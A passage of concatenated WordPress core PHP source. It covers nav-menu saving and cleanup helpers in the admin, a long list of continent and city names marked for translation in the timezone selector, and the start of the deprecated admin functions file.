 * @since 3.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function _wp_delete_orphaned_draft_menu_items() {
	global $wpdb;

	$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );

	// Delete orphaned draft menu items.
	$menu_items_to_delete = $wpdb->get_col(
		$wpdb->prepare(
			"SELECT ID FROM $wpdb->posts AS p
			LEFT JOIN $wpdb->postmeta AS m ON p.ID = m.post_id
			WHERE post_type = 'nav_menu_item' AND post_status = 'draft'
			AND meta_key = '_menu_item_orphaned' AND meta_value < %d",
			$delete_timestamp
		)
	);

	foreach ( (array) $menu_items_to_delete as $menu_item_id ) {
		wp_delete_post( $menu_item_id, true );
	}
}

/**
 * Saves nav menu items.
 *
 * @since 3.6.0
 *
 * @param int|string $nav_menu_selected_id    ID, slug, or name of the currently-selected menu.
 * @param string     $nav_menu_selected_title Title of the currently-selected menu.
 * @return string[] The menu updated messages.
 */
function wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ) {
	$unsorted_menu_items = wp_get_nav_menu_items(
		$nav_menu_selected_id,
		array(
			'orderby'     => 'ID',
			'output'      => ARRAY_A,
			'output_key'  => 'ID',
			'post_status' => 'draft,publish',
		)
	);

	$messages   = array();
	$menu_items = array();

	// Index menu items by DB ID.
	foreach ( $unsorted_menu_items as $_item ) {
		$menu_items[ $_item->db_id ] = $_item;
	}

	$post_fields = array(
		'menu-item-db-id',
		'menu-item-object-id',
		'menu-item-object',
		'menu-item-parent-id',
		'menu-item-position',
		'menu-item-type',
		'menu-item-title',
		'menu-item-url',
		'menu-item-description',
		'menu-item-attr-title',
		'menu-item-target',
		'menu-item-classes',
		'menu-item-xfn',
	);

	wp_defer_term_counting( true );

	// Loop through all the menu items' POST variables.
	if ( ! empty( $_POST['menu-item-db-id'] ) ) {
		foreach ( (array) $_POST['menu-item-db-id'] as $_key => $k ) {

			// Menu item title can't be blank.
			if ( ! isset( $_POST['menu-item-title'][ $_key ] ) || '' === $_POST['menu-item-title'][ $_key ] ) {
				continue;
			}

			$args = array();
			foreach ( $post_fields as $field ) {
				$args[ $field ] = isset( $_POST[ $field ][ $_key ] ) ? $_POST[ $field ][ $_key ] : '';
			}

			$menu_item_db_id = wp_update_nav_menu_item(
				$nav_menu_selected_id,
				( (int) $_POST['menu-item-db-id'][ $_key ] !== $_key ? 0 : $_key ),
				$args
			);

			if ( is_wp_error( $menu_item_db_id ) ) {
				$messages[] = wp_get_admin_notice(
					$menu_item_db_id->get_error_message(),
					array(
						'id'                 => 'message',
						'additional_classes' => array( 'error' ),
					)
				);
			} else {
				unset( $menu_items[ $menu_item_db_id ] );
			}
		}
	}

	// Remove menu items from the menu that weren't in $_POST.
	if ( ! empty( $menu_items ) ) {
		foreach ( array_keys( $menu_items ) as $menu_item_id ) {
			if ( is_nav_menu_item( $menu_item_id ) ) {
				wp_delete_post( $menu_item_id );
			}
		}
	}

	// Store 'auto-add' pages.
	$auto_add        = ! empty( $_POST['auto-add-pages'] );
	$nav_menu_option = (array) get_option( 'nav_menu_options' );

	if ( ! isset( $nav_menu_option['auto_add'] ) ) {
		$nav_menu_option['auto_add'] = array();
	}

	if ( $auto_add ) {
		if ( ! in_array( $nav_menu_selected_id, $nav_menu_option['auto_add'], true ) ) {
			$nav_menu_option['auto_add'][] = $nav_menu_selected_id;
		}
	} else {
		$key = array_search( $nav_menu_selected_id, $nav_menu_option['auto_add'], true );
		if ( false !== $key ) {
			unset( $nav_menu_option['auto_add'][ $key ] );
		}
	}

	// Remove non-existent/deleted menus.
	$nav_menu_option['auto_add'] = array_intersect(
		$nav_menu_option['auto_add'],
		wp_get_nav_menus( array( 'fields' => 'ids' ) )
	);

	update_option( 'nav_menu_options', $nav_menu_option );

	wp_defer_term_counting( false );

	/** This action is documented in wp-includes/nav-menu.php */
	do_action( 'wp_update_nav_menu', $nav_menu_selected_id );

	/* translators: %s: Nav menu title. */
	$message     = sprintf( __( '%s has been updated.' ), '<strong>' . $nav_menu_selected_title . '</strong>' );
	$notice_args = array(
		'id'                 => 'message',
		'dismissible'        => true,
		'additional_classes' => array( 'updated' ),
	);

	$messages[] = wp_get_admin_notice( $message, $notice_args );

	unset( $menu_items, $unsorted_menu_items );

	return $messages;
}

/**
 * If a JSON blob of navigation menu data is in POST data, expand it and inject
 * it into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134.
 *
 * @ignore
 * @since 4.5.3
 * @access private
 */
function _wp_expand_nav_menu_post_data() {
	if ( ! isset( $_POST['nav-menu-data'] ) ) {
		return;
	}

	$data = json_decode( stripslashes( $_POST['nav-menu-data'] ) );

	if ( ! is_null( $data ) && $data ) {
		foreach ( $data as $post_input_data ) {
			/*
			 * For input names that are arrays (e.g. `menu-item-db-id[3][4][5]`),
			 * derive the array path keys via regex and set the value in $_POST.
			 */
			preg_match( '#([^\[]*)(\[(.+)\])?#', $post_input_data->name, $matches );

			$array_bits = array( $matches[1] );

			if ( isset( $matches[3] ) ) {
				$array_bits = array_merge( $array_bits, explode( '][', $matches[3] ) );
			}

			$new_post_data = array();

			// Build the new array value from leaf to trunk.
			for ( $i = count( $array_bits ) - 1; $i >= 0; $i-- ) {
				if ( count( $array_bits ) - 1 === $i ) {
					$new_post_data[ $array_bits[ $i ] ] = wp_slash( $post_input_data->value );
				} else {
					$new_post_data = array( $array_bits[ $i ] => $new_post_data );
				}
			}

			$_POST = array_replace_recursive( $_POST, $new_post_data );
		}
	}
}
<?php
/**
 * Translation API: Continent and city translations for timezone selection
 *
 * This file is not included anywhere. It exists solely for use by xgettext.
 *
 * @package WordPress
 * @subpackage i18n
 * @since 2.8.0
 */

__( 'Africa', 'continents-cities' );
__( 'Abidjan', 'continents-cities' );
__( 'Accra', 'continents-cities' );
__( 'Addis Ababa', 'continents-cities' );
__( 'Algiers', 'continents-cities' );
__( 'Asmara', 'continents-cities' );
__( 'Asmera', 'continents-cities' );
__( 'Bamako', 'continents-cities' );
__( 'Bangui', 'continents-cities' );
__( 'Banjul', 'continents-cities' );
__( 'Bissau', 'continents-cities' );
__( 'Blantyre', 'continents-cities' );
__( 'Brazzaville', 'continents-cities' );
__( 'Bujumbura', 'continents-cities' );
__( 'Cairo', 'continents-cities' );
__( 'Casablanca', 'continents-cities' );
__( 'Ceuta', 'continents-cities' );
__( 'Conakry', 'continents-cities' );
__( 'Dakar', 'continents-cities' );
__( 'Dar es Salaam', 'continents-cities' );
__( 'Djibouti', 'continents-cities' );
__( 'Douala', 'continents-cities' );
__( 'El Aaiun', 'continents-cities' );
__( 'Freetown', 'continents-cities' );
__( 'Gaborone', 'continents-cities' );
__( 'Harare', 'continents-cities' );
__( 'Johannesburg', 'continents-cities' );
__( 'Juba', 'continents-cities' );
__( 'Kampala', 'continents-cities' );
__( 'Khartoum', 'continents-cities' );
__( 'Kigali', 'continents-cities' );
__( 'Kinshasa', 'continents-cities' );
__( 'Lagos', 'continents-cities' );
__( 'Libreville', 'continents-cities' );
__( 'Lome', 'continents-cities' );
__( 'Luanda', 'continents-cities' );
__( 'Lubumbashi', 'continents-cities' );
__( 'Lusaka', 'continents-cities' );
__( 'Malabo', 'continents-cities' );
__( 'Maputo', 'continents-cities' );
__( 'Maseru', 'continents-cities' );
__( 'Mbabane', 'continents-cities' );
__( 'Mogadishu', 'continents-cities' );
__( 'Monrovia', 'continents-cities' );
__( 'Nairobi', 'continents-cities' );
__( 'Ndjamena', 'continents-cities' );
__( 'Niamey', 'continents-cities' );
__( 'Nouakchott', 'continents-cities' );
__( 'Ouagadougou', 'continents-cities' );
__( 'Porto-Novo', 'continents-cities' );
__( 'Sao Tome', 'continents-cities' );
__( 'Timbuktu', 'continents-cities' );
__( 'Tripoli', 'continents-cities' );
__( 'Tunis', 'continents-cities' );
__( 'Windhoek', 'continents-cities' );

__( 'America', 'continents-cities' );
__( 'Adak', 'continents-cities' );
__( 'Anchorage', 'continents-cities' );
__( 'Anguilla', 'continents-cities' );
__( 'Antigua', 'continents-cities' );
__( 'Araguaina', 'continents-cities' );
__( 'Argentina', 'continents-cities' );
__( 'Buenos Aires', 'continents-cities' );
__( 'Catamarca', 'continents-cities' );
__( 'ComodRivadavia', 'continents-cities' );
__( 'Cordoba', 'continents-cities' );
__( 'Jujuy', 'continents-cities' );
__( 'La Rioja', 'continents-cities' );
__( 'Mendoza', 'continents-cities' );
__( 'Rio Gallegos', 'continents-cities' );
__( 'Salta', 'continents-cities' );
__( 'San Juan', 'continents-cities' );
__( 'San Luis', 'continents-cities' );
__( 'Tucuman', 'continents-cities' );
__( 'Ushuaia', 'continents-cities' );
__( 'Aruba', 'continents-cities' );
__( 'Asuncion', 'continents-cities' );
__( 'Atikokan', 'continents-cities' );
__( 'Atka', 'continents-cities' );
__( 'Bahia', 'continents-cities' );
__( 'Bahia Banderas', 'continents-cities' );
__( 'Barbados', 'continents-cities' );
__( 'Belem', 'continents-cities' );
__( 'Belize', 'continents-cities' );
__( 'Blanc-Sablon', 'continents-cities' );
__( 'Boa Vista', 'continents-cities' );
__( 'Bogota', 'continents-cities' );
__( 'Boise', 'continents-cities' );
__( 'Cambridge Bay', 'continents-cities' );
__( 'Campo Grande', 'continents-cities' );
__( 'Cancun', 'continents-cities' );
__( 'Caracas', 'continents-cities' );
__( 'Cayenne', 'continents-cities' );
__( 'Cayman', 'continents-cities' );
__( 'Chicago', 'continents-cities' );
__( 'Chihuahua', 'continents-cities' );
__( 'Coral Harbour', 'continents-cities' );
__( 'Costa Rica', 'continents-cities' );
__( 'Creston', 'continents-cities' );
__( 'Cuiaba', 'continents-cities' );
__( 'Curacao', 'continents-cities' );
__( 'Danmarkshavn', 'continents-cities' );
__( 'Dawson', 'continents-cities' );
__( 'Dawson Creek', 'continents-cities' );
__( 'Denver', 'continents-cities' );
__( 'Detroit', 'continents-cities' );
__( 'Dominica', 'continents-cities' );
__( 'Edmonton', 'continents-cities' );
__( 'Eirunepe', 'continents-cities' );
__( 'El Salvador', 'continents-cities' );
__( 'Ensenada', 'continents-cities' );
__( 'Fort Nelson', 'continents-cities' );
__( 'Fort Wayne', 'continents-cities' );
__( 'Fortaleza', 'continents-cities' );
__( 'Glace Bay', 'continents-cities' );
__( 'Godthab', 'continents-cities' );
__( 'Goose Bay', 'continents-cities' );
__( 'Grand Turk', 'continents-cities' );
__( 'Grenada', 'continents-cities' );
__( 'Guadeloupe', 'continents-cities' );
__( 'Guatemala', 'continents-cities' );
__( 'Guayaquil', 'continents-cities' );
__( 'Guyana', 'continents-cities' );
__( 'Halifax', 'continents-cities' );
__( 'Havana', 'continents-cities' );
__( 'Hermosillo', 'continents-cities' );
__( 'Indiana', 'continents-cities' );
__( 'Indianapolis', 'continents-cities' );
__( 'Knox', 'continents-cities' );
__( 'Marengo', 'continents-cities' );
__( 'Petersburg', 'continents-cities' );
__( 'Tell City', 'continents-cities' );
__( 'Vevay', 'continents-cities' );
__( 'Vincennes', 'continents-cities' );
__( 'Winamac', 'continents-cities' );
__( 'Inuvik', 'continents-cities' );
__( 'Iqaluit', 'continents-cities' );
__( 'Jamaica', 'continents-cities' );
__( 'Juneau', 'continents-cities' );
__( 'Kentucky', 'continents-cities' );
__( 'Louisville', 'continents-cities' );
__( 'Monticello', 'continents-cities' );
__( 'Knox IN', 'continents-cities' );
__( 'Kralendijk', 'continents-cities' );
__( 'La Paz', 'continents-cities' );
__( 'Lima', 'continents-cities' );
__( 'Los Angeles', 'continents-cities' );
__( 'Lower Princes', 'continents-cities' );
__( 'Maceio', 'continents-cities' );
__( 'Managua', 'continents-cities' );
__( 'Manaus', 'continents-cities' );
__( 'Marigot', 'continents-cities' );
__( 'Martinique', 'continents-cities' );
__( 'Matamoros', 'continents-cities' );
__( 'Mazatlan', 'continents-cities' );
__( 'Menominee', 'continents-cities' );
__( 'Merida', 'continents-cities' );
__( 'Metlakatla', 'continents-cities' );
__( 'Mexico City', 'continents-cities' );
__( 'Miquelon', 'continents-cities' );
__( 'Moncton', 'continents-cities' );
__( 'Monterrey', 'continents-cities' );
__( 'Montevideo', 'continents-cities' );
__( 'Montreal', 'continents-cities' );
__( 'Montserrat', 'continents-cities' );
__( 'Nassau', 'continents-cities' );
__( 'New York', 'continents-cities' );
__( 'Nipigon', 'continents-cities' );
__( 'Nome', 'continents-cities' );
__( 'Noronha', 'continents-cities' );
__( 'North Dakota', 'continents-cities' );
__( 'Beulah', 'continents-cities' );
__( 'Center', 'continents-cities' );
__( 'New Salem', 'continents-cities' );
__( 'Nuuk', 'continents-cities' );
__( 'Ojinaga', 'continents-cities' );
__( 'Panama', 'continents-cities' );
__( 'Pangnirtung', 'continents-cities' );
__( 'Paramaribo', 'continents-cities' );
__( 'Phoenix', 'continents-cities' );
__( 'Port-au-Prince', 'continents-cities' );
__( 'Port of Spain', 'continents-cities' );
__( 'Porto Acre', 'continents-cities' );
__( 'Porto Velho', 'continents-cities' );
__( 'Puerto Rico', 'continents-cities' );
__( 'Punta Arenas', 'continents-cities' );
__( 'Rainy River', 'continents-cities' );
__( 'Rankin Inlet', 'continents-cities' );
__( 'Recife', 'continents-cities' );
__( 'Regina', 'continents-cities' );
__( 'Resolute', 'continents-cities' );
__( 'Rio Branco', 'continents-cities' );
__( 'Rosario', 'continents-cities' );
__( 'Santa Isabel', 'continents-cities' );
__( 'Santarem', 'continents-cities' );
__( 'Santiago', 'continents-cities' );
__( 'Santo Domingo', 'continents-cities' );
__( 'Sao Paulo', 'continents-cities' );
__( 'Scoresbysund', 'continents-cities' );
__( 'Shiprock', 'continents-cities' );
__( 'Sitka', 'continents-cities' );
__( 'St Barthelemy', 'continents-cities' );
__( 'St Johns', 'continents-cities' );
__( 'St Kitts', 'continents-cities' );
__( 'St Lucia', 'continents-cities' );
__( 'St Thomas', 'continents-cities' );
__( 'St Vincent', 'continents-cities' );
__( 'Swift Current', 'continents-cities' );
__( 'Tegucigalpa', 'continents-cities' );
__( 'Thule', 'continents-cities' );
__( 'Thunder Bay', 'continents-cities' );
__( 'Tijuana', 'continents-cities' );
__( 'Toronto', 'continents-cities' );
__( 'Tortola', 'continents-cities' );
__( 'Vancouver', 'continents-cities' );
__( 'Virgin', 'continents-cities' );
__( 'Whitehorse', 'continents-cities' );
__( 'Winnipeg', 'continents-cities' );
__( 'Yakutat', 'continents-cities' );
__( 'Yellowknife', 'continents-cities' );

__( 'Antarctica', 'continents-cities' );
__( 'Casey', 'continents-cities' );
__( 'Davis', 'continents-cities' );
__( 'DumontDUrville', 'continents-cities' );
__( 'Macquarie', 'continents-cities' );
__( 'Mawson', 'continents-cities' );
__( 'McMurdo', 'continents-cities' );
__( 'Palmer', 'continents-cities' );
__( 'Rothera', 'continents-cities' );
__( 'South Pole', 'continents-cities' );
__( 'Syowa', 'continents-cities' );
__( 'Troll', 'continents-cities' );
__( 'Vostok', 'continents-cities' );

__( 'Arctic', 'continents-cities' );
__( 'Longyearbyen', 'continents-cities' );

__( 'Asia', 'continents-cities' );
__( 'Aden', 'continents-cities' );
__( 'Almaty', 'continents-cities' );
__( 'Amman', 'continents-cities' );
__( 'Anadyr', 'continents-cities' );
__( 'Aqtau', 'continents-cities' );
__( 'Aqtobe', 'continents-cities' );
__( 'Ashgabat', 'continents-cities' );
__( 'Ashkhabad', 'continents-cities' );
__( 'Atyrau', 'continents-cities' );
__( 'Baghdad', 'continents-cities' );
__( 'Bahrain', 'continents-cities' );
__( 'Baku', 'continents-cities' );
__( 'Bangkok', 'continents-cities' );
__( 'Barnaul', 'continents-cities' );
__( 'Beirut', 'continents-cities' );
__( 'Bishkek', 'continents-cities' );
__( 'Brunei', 'continents-cities' );
__( 'Calcutta', 'continents-cities' );
__( 'Chita', 'continents-cities' );
__( 'Choibalsan', 'continents-cities' );
__( 'Chongqing', 'continents-cities' );
__( 'Chungking', 'continents-cities' );
__( 'Colombo', 'continents-cities' );
__( 'Dacca', 'continents-cities' );
__( 'Damascus', 'continents-cities' );
__( 'Dhaka', 'continents-cities' );
__( 'Dili', 'continents-cities' );
__( 'Dubai', 'continents-cities' );
__( 'Dushanbe', 'continents-cities' );
__( 'Famagusta', 'continents-cities' );
__( 'Gaza', 'continents-cities' );
__( 'Harbin', 'continents-cities' );
__( 'Hebron', 'continents-cities' );
__( 'Ho Chi Minh', 'continents-cities' );
__( 'Hong Kong', 'continents-cities' );
__( 'Hovd', 'continents-cities' );
__( 'Irkutsk', 'continents-cities' );
__( 'Jakarta', 'continents-cities' );
__( 'Jayapura', 'continents-cities' );
__( 'Jerusalem', 'continents-cities' );
__( 'Kabul', 'continents-cities' );
__( 'Kamchatka', 'continents-cities' );
__( 'Karachi', 'continents-cities' );
__( 'Kashgar', 'continents-cities' );
__( 'Kathmandu', 'continents-cities' );
__( 'Katmandu', 'continents-cities' );
__( 'Khandyga', 'continents-cities' );
__( 'Kolkata', 'continents-cities' );
__( 'Krasnoyarsk', 'continents-cities' );
__( 'Kuala Lumpur', 'continents-cities' );
__( 'Kuching', 'continents-cities' );
__( 'Kuwait', 'continents-cities' );
__( 'Macao', 'continents-cities' );
__( 'Macau', 'continents-cities' );
__( 'Magadan', 'continents-cities' );
__( 'Makassar', 'continents-cities' );
__( 'Manila', 'continents-cities' );
__( 'Muscat', 'continents-cities' );
__( 'Nicosia', 'continents-cities' );
__( 'Novokuznetsk', 'continents-cities' );
__( 'Novosibirsk', 'continents-cities' );
__( 'Omsk', 'continents-cities' );
__( 'Oral', 'continents-cities' );
__( 'Phnom Penh', 'continents-cities' );
__( 'Pontianak', 'continents-cities' );
__( 'Pyongyang', 'continents-cities' );
__( 'Qatar', 'continents-cities' );
__( 'Qostanay', 'continents-cities' );
__( 'Qyzylorda', 'continents-cities' );
__( 'Rangoon', 'continents-cities' );
__( 'Riyadh', 'continents-cities' );
__( 'Saigon', 'continents-cities' );
__( 'Sakhalin', 'continents-cities' );
__( 'Samarkand', 'continents-cities' );
__( 'Seoul', 'continents-cities' );
__( 'Shanghai', 'continents-cities' );
__( 'Singapore', 'continents-cities' );
__( 'Srednekolymsk', 'continents-cities' );
__( 'Taipei', 'continents-cities' );
__( 'Tashkent', 'continents-cities' );
__( 'Tbilisi', 'continents-cities' );
__( 'Tehran', 'continents-cities' );
__( 'Tel Aviv', 'continents-cities' );
__( 'Thimbu', 'continents-cities' );
__( 'Thimphu', 'continents-cities' );
__( 'Tokyo', 'continents-cities' );
__( 'Tomsk', 'continents-cities' );
__( 'Ujung Pandang', 'continents-cities' );
__( 'Ulaanbaatar', 'continents-cities' );
__( 'Ulan Bator', 'continents-cities' );
__( 'Urumqi', 'continents-cities' );
__( 'Ust-Nera', 'continents-cities' );
__( 'Vientiane', 'continents-cities' );
__( 'Vladivostok', 'continents-cities' );
__( 'Yakutsk', 'continents-cities' );
__( 'Yangon', 'continents-cities' );
__( 'Yekaterinburg', 'continents-cities' );
__( 'Yerevan', 'continents-cities' );

__( 'Atlantic', 'continents-cities' );
__( 'Azores', 'continents-cities' );
__( 'Bermuda', 'continents-cities' );
__( 'Canary', 'continents-cities' );
__( 'Cape Verde', 'continents-cities' );
__( 'Faeroe', 'continents-cities' );
__( 'Faroe', 'continents-cities' );
__( 'Jan Mayen', 'continents-cities' );
__( 'Madeira', 'continents-cities' );
__( 'Reykjavik', 'continents-cities' );
__( 'South Georgia', 'continents-cities' );
__( 'St Helena', 'continents-cities' );
__( 'Stanley', 'continents-cities' );

__( 'Australia', 'continents-cities' );
__( 'ACT', 'continents-cities' );
__( 'Adelaide', 'continents-cities' );
__( 'Brisbane', 'continents-cities' );
__( 'Broken Hill', 'continents-cities' );
__( 'Canberra', 'continents-cities' );
__( 'Currie', 'continents-cities' );
__( 'Darwin', 'continents-cities' );
__( 'Eucla', 'continents-cities' );
__( 'Hobart', 'continents-cities' );
__( 'LHI', 'continents-cities' );
__( 'Lindeman', 'continents-cities' );
__( 'Lord Howe', 'continents-cities' );
__( 'Melbourne', 'continents-cities' );
__( 'NSW', 'continents-cities' );
__( 'North', 'continents-cities' );
__( 'Perth', 'continents-cities' );
__( 'Queensland', 'continents-cities' );
__( 'South', 'continents-cities' );
__( 'Sydney', 'continents-cities' );
__( 'Tasmania', 'continents-cities' );
__( 'Victoria', 'continents-cities' );
__( 'West', 'continents-cities' );
__( 'Yancowinna', 'continents-cities' );

__( 'Etc', 'continents-cities' );
__( 'GMT', 'continents-cities' );
__( 'GMT+0', 'continents-cities' );
__( 'GMT+1', 'continents-cities' );
__( 'GMT+10', 'continents-cities' );
__( 'GMT+11', 'continents-cities' );
__( 'GMT+12', 'continents-cities' );
__( 'GMT+2', 'continents-cities' );
__( 'GMT+3', 'continents-cities' );
__( 'GMT+4', 'continents-cities' );
__( 'GMT+5', 'continents-cities' );
__( 'GMT+6', 'continents-cities' );
__( 'GMT+7', 'continents-cities' );
__( 'GMT+8', 'continents-cities' );
__( 'GMT+9', 'continents-cities' );
__( 'GMT-0', 'continents-cities' );
__( 'GMT-1', 'continents-cities' );
__( 'GMT-10', 'continents-cities' );
__( 'GMT-11', 'continents-cities' );
__( 'GMT-12', 'continents-cities' );
__( 'GMT-13', 'continents-cities' );
__( 'GMT-14', 'continents-cities' );
__( 'GMT-2', 'continents-cities' );
__( 'GMT-3', 'continents-cities' );
__( 'GMT-4', 'continents-cities' );
__( 'GMT-5', 'continents-cities' );
__( 'GMT-6', 'continents-cities' );
__( 'GMT-7', 'continents-cities' );
__( 'GMT-8', 'continents-cities' );
__( 'GMT-9', 'continents-cities' );
__( 'GMT0', 'continents-cities' );
__( 'Greenwich', 'continents-cities' );
__( 'UCT', 'continents-cities' );
__( 'UTC', 'continents-cities' );
__( 'Universal', 'continents-cities' );
__( 'Zulu', 'continents-cities' );

__( 'Europe', 'continents-cities' );
__( 'Amsterdam', 'continents-cities' );
__( 'Andorra', 'continents-cities' );
__( 'Astrakhan', 'continents-cities' );
__( 'Athens', 'continents-cities' );
__( 'Belfast', 'continents-cities' );
__( 'Belgrade', 'continents-cities' );
__( 'Berlin', 'continents-cities' );
__( 'Bratislava', 'continents-cities' );
__( 'Brussels', 'continents-cities' );
__( 'Bucharest', 'continents-cities' );
__( 'Budapest', 'continents-cities' );
__( 'Busingen', 'continents-cities' );
__( 'Chisinau', 'continents-cities' );
__( 'Copenhagen', 'continents-cities' );
__( 'Dublin', 'continents-cities' );
__( 'Gibraltar', 'continents-cities' );
__( 'Guernsey', 'continents-cities' );
__( 'Helsinki', 'continents-cities' );
__( 'Isle of Man', 'continents-cities' );
__( 'Istanbul', 'continents-cities' );
__( 'Jersey', 'continents-cities' );
__( 'Kaliningrad', 'continents-cities' );
__( 'Kiev', 'continents-cities' );
__( 'Kyiv', 'continents-cities' );
__( 'Kirov', 'continents-cities' );
__( 'Lisbon', 'continents-cities' );
__( 'Ljubljana', 'continents-cities' );
__( 'London', 'continents-cities' );
__( 'Luxembourg', 'continents-cities' );
__( 'Madrid', 'continents-cities' );
__( 'Malta', 'continents-cities' );
__( 'Mariehamn', 'continents-cities' );
__( 'Minsk', 'continents-cities' );
__( 'Monaco', 'continents-cities' );
__( 'Moscow', 'continents-cities' );
__( 'Oslo', 'continents-cities' );
__( 'Paris', 'continents-cities' );
__( 'Podgorica', 'continents-cities' );
__( 'Prague', 'continents-cities' );
__( 'Riga', 'continents-cities' );
__( 'Rome', 'continents-cities' );
__( 'Samara', 'continents-cities' );
__( 'San Marino', 'continents-cities' );
__( 'Sarajevo', 'continents-cities' );
__( 'Saratov', 'continents-cities' );
__( 'Simferopol', 'continents-cities' );
__( 'Skopje', 'continents-cities' );
__( 'Sofia', 'continents-cities' );
__( 'Stockholm', 'continents-cities' );
__( 'Tallinn', 'continents-cities' );
__( 'Tirane', 'continents-cities' );
__( 'Tiraspol', 'continents-cities' );
__( 'Ulyanovsk', 'continents-cities' );
__( 'Uzhgorod', 'continents-cities' );
__( 'Vaduz', 'continents-cities' );
__( 'Vatican', 'continents-cities' );
__( 'Vienna', 'continents-cities' );
__( 'Vilnius', 'continents-cities' );
__( 'Volgograd', 'continents-cities' );
__( 'Warsaw', 'continents-cities' );
__( 'Zagreb', 'continents-cities' );
__( 'Zaporozhye', 'continents-cities' );
__( 'Zurich', 'continents-cities' );

__( 'Indian', 'continents-cities' );
__( 'Antananarivo', 'continents-cities' );
__( 'Chagos', 'continents-cities' );
__( 'Christmas', 'continents-cities' );
__( 'Cocos', 'continents-cities' );
__( 'Comoro', 'continents-cities' );
__( 'Kerguelen', 'continents-cities' );
__( 'Mahe', 'continents-cities' );
__( 'Maldives', 'continents-cities' );
__( 'Mauritius', 'continents-cities' );
__( 'Mayotte', 'continents-cities' );
__( 'Reunion', 'continents-cities' );

__( 'Pacific', 'continents-cities' );
__( 'Apia', 'continents-cities' );
__( 'Auckland', 'continents-cities' );
__( 'Bougainville', 'continents-cities' );
__( 'Chatham', 'continents-cities' );
__( 'Chuuk', 'continents-cities' );
__( 'Easter', 'continents-cities' );
__( 'Efate', 'continents-cities' );
__( 'Enderbury', 'continents-cities' );
__( 'Fakaofo', 'continents-cities' );
__( 'Fiji', 'continents-cities' );
__( 'Funafuti', 'continents-cities' );
__( 'Galapagos', 'continents-cities' );
__( 'Gambier', 'continents-cities' );
__( 'Guadalcanal', 'continents-cities' );
__( 'Guam', 'continents-cities' );
__( 'Honolulu', 'continents-cities' );
__( 'Johnston', 'continents-cities' );
__( 'Kanton', 'continents-cities' );
__( 'Kiritimati', 'continents-cities' );
__( 'Kosrae', 'continents-cities' );
__( 'Kwajalein', 'continents-cities' );
__( 'Majuro', 'continents-cities' );
__( 'Marquesas', 'continents-cities' );
__( 'Midway', 'continents-cities' );
__( 'Nauru', 'continents-cities' );
__( 'Niue', 'continents-cities' );
__( 'Norfolk', 'continents-cities' );
__( 'Noumea', 'continents-cities' );
__( 'Pago Pago', 'continents-cities' );
__( 'Palau', 'continents-cities' );
__( 'Pitcairn', 'continents-cities' );
__( 'Pohnpei', 'continents-cities' );
__( 'Ponape', 'continents-cities' );
__( 'Port Moresby', 'continents-cities' );
__( 'Rarotonga', 'continents-cities' );
__( 'Saipan', 'continents-cities' );
__( 'Samoa', 'continents-cities' );
__( 'Tahiti', 'continents-cities' );
__( 'Tarawa', 'continents-cities' );
__( 'Tongatapu', 'continents-cities' );
__( 'Truk', 'continents-cities' );
__( 'Wake', 'continents-cities' );
__( 'Wallis', 'continents-cities' );
__( 'Yap', 'continents-cities' );
<?php
/**
 * Deprecated admin functions from past WordPress versions. You shouldn't use these
 * functions and look for the alternatives instead. The functions will be removed
 * in a later version.
 *
 * @package WordPress
 * @subpackage Deprecated
 */

/*
 * Deprecated functions come here to die.
 */

/**
 * @since 2.1.0
 * @deprecated 2.1.0 Use wp_editor()
 * @see wp_editor()
 */
function tinymce_include() {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_editor()' );

	wp_tiny_mce();
}

/**
 * Unused Admin function.
 *
 * @since 2.0.0
 * @deprecated 2.5.0
 *
 */
function documentation_link() {
	_deprecated_function( __FUNCTION__, '2.5.0' );
}

/**
 * Calculates the new dimensions for a downsampled image.
 *
 * @since 2.0.0
 * @deprecated 3.0.0 Use wp_constrain_dimensions()
 * @see wp_constrain_dimensions()
 *
 * @param int $width Current width of the image
 * @param int $height Current height of the image
 * @param int $wmax Maximum wanted width
 * @param int $hmax Maximum wanted height
 * @return array Shrunk dimensions (width, height).
 */
function wp_shrink_dimensions( $width, $height, $wmax = 128, $hmax = 96 ) {
	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_constrain_dimensions()' );
	return wp_constrain_dimensions( $width, $height, $wmax, $hmax );
}

/**
 * Calculated the new dimensions for a downsampled image.
 *
 * @since 2.0.0
 * @deprecated 3.5.0 Use wp_constrain_dimensions()
 * @see wp_constrain_dimensions()
 *
 * @param int $width Current width of the image
 * @param int $height Current height of the image
 * @return array Shrunk dimensions (width, height).
 */
function get_udims( $width, $height ) {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_constrain_dimensions()' );
	return wp_constrain_dimensions( $width, $height, 128, 96 );
}

/**
 * Legacy function used to generate the categories checklist control.
 *
 * @since 0.71
 * @deprecated 2.6.0 Use wp_category_checklist()
 * @see wp_category_checklist()
 *
 * @global int $post_ID
 *
 * @param int   $default_category Unused.
 * @param int   $category_parent  Unused.
 * @param array $popular_ids      Unused.
 */
function dropdown_categories( $default_category = 0, $category_parent = 0, $popular_ids = array() ) {
	_deprecated_function( __FUNCTION__, '2.6.0', 'wp_category_checklist()' );
	global $post_ID;
	wp_category_checklist( $post_ID );
}

/**
 * Legacy function used to generate a link categories checklist control.
 *
 * @since 2.1.0
 * @deprecated 2.6.0 Use wp_link_category_checklist()
 * @see wp_link_category_checklist()
 *
 * @global int $link_id
 *
 * @param int $default_link_category Unused.
 */
function dropdown_link_categories( $default_link_category = 0 ) {
	_deprecated_function( __FUNCTION__, '2.6.0', 'wp_link_category_checklist()' );
	global $link_id;
	wp_link_category_checklist( $link_id );
}

/**
 * Get the real filesystem path to a file to edit within the admin.
 *
 * @since 1.5.0
 * @deprecated 2.9.0
 * @uses WP_CONTENT_DIR Full filesystem path to the wp-content directory.
 *
 * @param string $file Filesystem path relative to the wp-content directory.
 * @return string Full filesystem path to edit.
 */
function get_real_file_to_edit( $file ) {
	_deprecated_function( __FUNCTION__, '2.9.0' );

	return WP_CONTENT_DIR . $file;
}

/**
 * Legacy function used for generating a categories drop-down control.
 *
 * @since 1.2.0
 * @deprecated 3.0.0 Use wp_dropdown_categories()
 * @see wp_dropdown_categories()
 *
 * @param int $current_cat     Optional. ID of the current category. Default 0.
 * @param int $current_parent  Optional. Current parent category ID. Default 0.
 * @param int $category_parent Optional. Parent ID to retrieve categories for. Default 0.
